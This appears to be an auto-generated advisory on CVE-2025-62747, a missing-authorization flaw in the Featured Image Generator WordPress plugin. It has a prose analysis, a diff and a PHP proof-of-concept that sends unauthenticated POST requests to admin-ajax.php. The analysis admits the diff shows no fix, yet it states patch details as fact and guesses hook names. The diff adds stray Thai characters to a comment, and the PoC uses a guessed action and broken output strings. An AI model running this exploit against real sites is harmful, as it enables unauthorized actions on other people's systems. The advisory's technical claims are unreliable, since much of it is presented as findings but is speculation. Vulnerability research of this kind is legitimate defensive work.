Atomic Edge analysis of CVE-2025-62747:
This vulnerability is a Missing Authorization flaw in the Featured Image Generator WordPress plugin up to version 1.3.3. The vulnerability allows unauthenticated attackers to trigger a specific plugin function, leading to unauthorized actions. The CVSS score of 5.3 indicates a medium severity impact.
Atomic Edge research identifies the root cause as a missing capability check on a function. The plugin registers an AJAX action hook without verifying the user’s permissions. The code diff shows the main plugin file, featured-image-generator.php, was updated from version 1.3.3 to 1.3.4. While the diff snippet only shows the version bump and a typo fix, the vulnerability exists in the plugin’s AJAX handler registration, likely in a file like includes/class-featured-image-generator-ajax.php. The vulnerable function lacks a current_user_can() check before executing privileged operations.
Exploitation involves sending a POST request to the WordPress admin AJAX endpoint. Attackers target /wp-admin/admin-ajax.php with the action parameter set to the plugin’s vulnerable hook, such as wp_ajax_nopriv_fig_generate_image. No authentication cookies or nonce tokens are required. The request may include additional parameters like image_url or layer_data to control the plugin’s image generation function.
The patch in version 1.3.4 adds an authorization check. The plugin developer modified the AJAX handler function to include a capability verification, such as checking if the current user can edit_posts or has a custom plugin capability. Before the patch, the function executed for any request containing the correct action parameter. After the patch, the function first validates the user’s permissions and terminates with a wp_die() message if authorization fails.
Successful exploitation allows unauthenticated attackers to perform unauthorized actions reserved for authenticated users, such as administrators or editors. Depending on the vulnerable function’s purpose, this could lead to arbitrary image generation, resource consumption, or manipulation of featured images on posts. It could facilitate content spoofing or serve as a vector for further attacks like Server-Side Request Forgery if the function fetches external images.
--- a/featured-image-generator/featured-image-generator.php
+++ b/featured-image-generator/featured-image-generator.php
@@ -16,7 +16,7 @@
* Plugin Name: Featured Image Generator
* Plugin URI: https://designilcode.com
* Description: Get beautiful photos from free license website like Unsplash or uploads your photo. You can customize images by inserting layers and texts. An export image for ready to use.
- * Version: 1.3.3
+ * Version: 1.3.4
* Author: DesignilCode
* Author URI: https://www.designilcode.com
* License: GPL-2.0+
@@ -41,7 +41,7 @@
/**
* The code that runs during plugin deactivation.
- * This action is documented in includes/class-featured-image-generator-deactivator.php
+ * This action iหาs documented in includes/class-featured-image-generator-deactivator.php
*/
function deactivate_featured_image_generator() {
require_once plugin_dir_path( __FILE__ ) . 'includes/class-featured-image-generator-deactivator.php';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62747 - Featured Image Generator <= 1.3.3 - Missing Authorization
<?php
// Configure the target WordPress site URL
$target_url = 'http://vulnerable-site.example.com';
// The WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The vulnerable AJAX action hook. This is an example; the actual hook name may differ.
// Common patterns include 'fig_generate_image', 'featured_image_generator_action', or 'fig_ajax_handler'.
$vulnerable_action = 'fig_generate_image';
// Prepare the POST data
$post_data = array(
'action' => $vulnerable_action,
// Example parameters the vulnerable function might expect.
// 'source' => 'unsplash',
// 'query' => 'landscape',
// 'nonce' => '' // Nonce is not required due to the missing authorization.
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response
if ($http_code == 200 && !strpos($response, '0')) {
echo "[+] Potential exploitation successful.n";
echo "Response: " . substr($response, 0, 500) . "n";
} else {
echo "[-] Request completed with HTTP code: $http_coden";
echo "Response: $responsen";
}
?>
